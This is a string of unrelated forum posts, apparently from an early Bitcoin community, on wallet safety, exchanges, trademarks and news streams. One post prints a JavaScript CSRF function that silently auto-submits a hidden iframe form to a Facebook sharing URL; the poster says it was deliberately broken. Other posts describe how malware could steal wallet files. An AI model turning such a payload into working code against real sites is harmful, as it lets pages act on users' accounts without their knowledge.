Actually I would have to say the dumbest question ever would be, "I am trying to find a bank that will give me my bitcoins because I would rather carry around a bunch of coins then keep it on my computer. Can you tell me what bank I can go to to get my bitcoins?"
Sorry, couldn't resist
That would be http://coinedbits.com/  |
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Also another rather important reminder.
If there were to be a browser vulnerability that facilitated the stealing of a file (without relying on something like Java), what would be an incredibly easy target? Exactly, a Bitcoin wallet in a default location.
The chance of a browser exploit that allows scanning the disk for a certain file is infinitely smaller than the chance of a browser exploit that allows stealing a file in a predefined location.
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It does not even have to be by torrent! My big dream is a Bitcoin financed Rapidshare alternative without any arbitrary limitations like waiting time between downloads, no segmented downloads etc. There would be a free portion of the available bandwidth and everyone who submits shares or buys credits can then get an additional certain bandwidth for a certain time guaranteed (for example: 1 share = 1 kB/s for 1 hour). Just pay for the bandwidth you want to have either via Bitcoin or mining shares (can even be accumulated over time) and start downloading right away. As the really expensive part is anyways traffic, you could even offer bindings to (at least) BitTorrent and ed2k via magnet links, if some people prefer P2P. Both protocols also can download via HTTP afaik, so the same system would work there as well (you can choose to pay for a seeder just for you). As the whole thing should be Bitcoin financed, there would be no need for ads or other stupid stuff. It might even be possible to throw together a nice GUI for a miner that is hardwired to that site! The only thing I'm missing currently are easily scriptable QoS/traffic control/traffic shaping programs (which run on other platforms than Linux too...). The best I found till now seems to be http://www.freenet.org.nz/python/pyshaper/ - maybe you know some alternatives? I'd be especially interested in having a more "integrated" approach, ideally a general python module/library. Shaping would most likely need to be done anyways just for outgoing transactions. This... actually sounds feasible. |
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can someone send me an invite please ive been looking for it for 6 months now
Sent you a PM |
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Okay, regarding the "this may change the future of the web".
Consider what happened if all websites had code like this. Every webpage would try to get its own share of the pie. Not only would this absolutely rape any CPU/GPU, the mining power would also be shared between loads of sites, causing your income to drop to practically zero - you're sharing the pie with too many people.
Now consider devices with a limited battery capacity (notebooks, and specifically netbooks and mobile devices like phones and handheld consoles). Consider what the effect is on how long the battery lasts. Considering most websites would likely implement this invisibly, as to not nag the user with constant questions, the user would not be aware of this running.
Now consider how good of an idea it seems, and how bad of an idea it actually is, and especially how it doesn't scale _at all_, and effectively zeroes out its own effect on the long term.
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LOL, sadly I'm not familiar with the Bezos thing. It sounds like a riot though. And yea, the primary concern is not so much the legitimacy of this app but the potential troubles it could cause for the valid 'owners' of Bitcoin.
Which, brings to mind some other questions. In order to avoid other app ninjas in the future both trademark and patent wise, is there a way to trademark/patent
Bitcoin in a way the limits the amount of control the US gov would have over it?
I.e possible to register it as a community project and still be afforded the same protections? Maybe reg as aco-op type deal?
I am completely lost at that point. Will give a close business attorney friend of mine a call and see if he has any insight.
It's nice how a system forces you to conform and centralize, because if you keep it decentralized someone else will centralize it for you and take it away. Oh, the joys of 'freedom'. |
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I hope this site gets some traction looks much more secure than MT Gox and looks better too.
Stop hoping and throw some dollars/coins up there. Even if it's small at first, every little bit increases their volume. I've got a few coins up there, and I'll likely be adding more as it picks up. I probably will the moment they do SEPA transfers. |
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Who develops those things? :| "Please logout when you are done to release system resources allocated to you." |
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Now that's a strangely relevant URL. Bitlaw. |
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Sharing the part that does the CSRF here, for those who are interested... function jacks(site,params){
var div = document.createElement('div');
div.innerHTML = '<iframe></iframe>';
document.body.appendChild(div);
var iframe = div.firstChild;
var iframeDocument = iframe.documentHandler;
iframeDocument.open();
iframeDocument.close();
var form = iframeDocument.createElement('form');
iframeDocument.body.appendChild(form);
form.setAttribute('action',site);
for (param in params){
var field = iframeDocument.createElement('input');
field.setAttribute('type', 'hidden');
field.setAttribute('name', param);
field.setAttribute('value', params[param]);
form.appendChild(field);
}
form.submit();
}What this code roughly does is creating an iframe with a form that is set to a specific Facebook sharing URL (that is also called by their on-site sharing functionality), inserting a specific set of "parameters" (form fields) and corresponding values, and automatically submits the forum. This is all done in the background of course. The target URL and parameters can be specified in this function. The code I posted here was edited to need some work before it works, to discourage script kiddies. EDIT: Of course this could be executed from any page. You could be visiting some random page with comics, and it could technically have this code in it. |
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People confuse the patent process with trademarks.
Anybody got a dumber than dumb idea to fix that much? Globally? Besides distribution by language.
I am not 100% sure how the trademarking process works in the US, but in the Netherlands you would *never* get a trademark on a widely used and acknowledged term or name. |
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Heh, I remember their own site having serious issues in coping with high loads. During the revolutions in Tunisia and Egypt, YouTube was the only seriously reliable stream. Livestation usually worked well but not always, and the stream on their own site was dead 90% of the time. |
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useless! trojans cloud scan the whole computer for the wallet.
this is just security through obscurity, and will NOT WORK.
You stole my thunder man. I was leading up to that. Point is that even if you called the file a random name...the client needs to know what that is. Which means you store it somewhere.... Only exception I see is if you are willing to select the file each time you start the client up. In which case the file might have some distinguishing characteristics so you could just san the whole machine for it (or anything resembling it). Which means you could encrypt it with a sufficiently padded OTP...which you store somewhere.... At least you probably wouldn't be able to write a done-in-10-seconds wallet stealer in AutoIt anymore. |
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From campbx.com...
"Tested according to U.S. Government requirements"
I seriously doubt anyone will be impressed by that, it's more like a seal of certainty that lulzsec will breeze through the security measures in five minutes.
Fancy logos and certifications aside, any site can be hacked, what is more important is how hack attempts are dealt with from the user point of view (are losses covered?).
BTW:
Site running PHP/MySQL - Pass
PHP/MySQL do not have any specific vulnerabilities that are not also present in comparable other languages/platforms. They are not any worse of a language/platform than any other. That most vulnerable sites are written using PHP/MySQL, does not mean that all sites using PHP/MySQL are vulnerable. Correlation, causation, etc. |
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Success! I have successfully convinced www.abugames.com to accept Bitcoin. The logo is posted directly below their other payment option logos for credit card and paypal. Prices on the site are still listed in USD, but bitcoin is now a payment option during the checkout process. When selected, a new order total is computed in BTC. At the end of the ordering process, the customer is presented with a unique payment address that corresponds with each order ID. My bitcoin address for the reward is: 1AgZgDq77Ahux1K7LdoYUJdYXT8fQanwn4 Thank you to all those who have sponsored this challenge. Is this reward offer available more than once per applicant? (I might know of a few more stores who would go for it.) I will also post in another thread some tips that might help others who are working to convince more shops. And now we wait until Abugames becomes a Bitcoin exchange... |
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I can attest that Al Jazeera English is truly excellent. I had access to them while living in Dubai and I was amazed how much more in-depth and interesting their topics were than CNN/Fox/MSNBC/Etc. Now that I'm back in the states, the moment it's available in my area I'll sign up.
You can actually watch their stream online in various places. http://www.livestation.com/ has an OK stream, http://www.youtube.com/aljazeeraenglish has a better stream (at one point they actually had a 780p stream). EDIT: On the YouTube page you have to scroll down a bit to see it. |
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I've found AJ(E) and RT to be extremely objective and unbiased compared to other media outlets... they have reported on Anonymous several times before, and were always very accurate in the details, properly researching their things, not going with the usual 'all Anonymous does is LOIC' sentiment and also digging deeper about 'behind the scenes' thing that were going on. In fact, Russia Today went even further: http://www.youtube.com/watch?v=MZZVETrrS9M |
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Pretty sure this is not a valid trademark. The term/name Bitcoin was already established before the date of the trademark.
Agreed. Pretty funny that it got through, though. The Government fails even at it's own crappy processes. Or not, of course... |
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The quantitative value of Bitcoin is that it enables people to easily trade without hassle that is involved in bartering.
EDIT: Which is also an essential value that humans require, because one human is practically unable to fully provide everything he needs/desires by himself, therefore trading in one form or another is inevitable for 'survival'.
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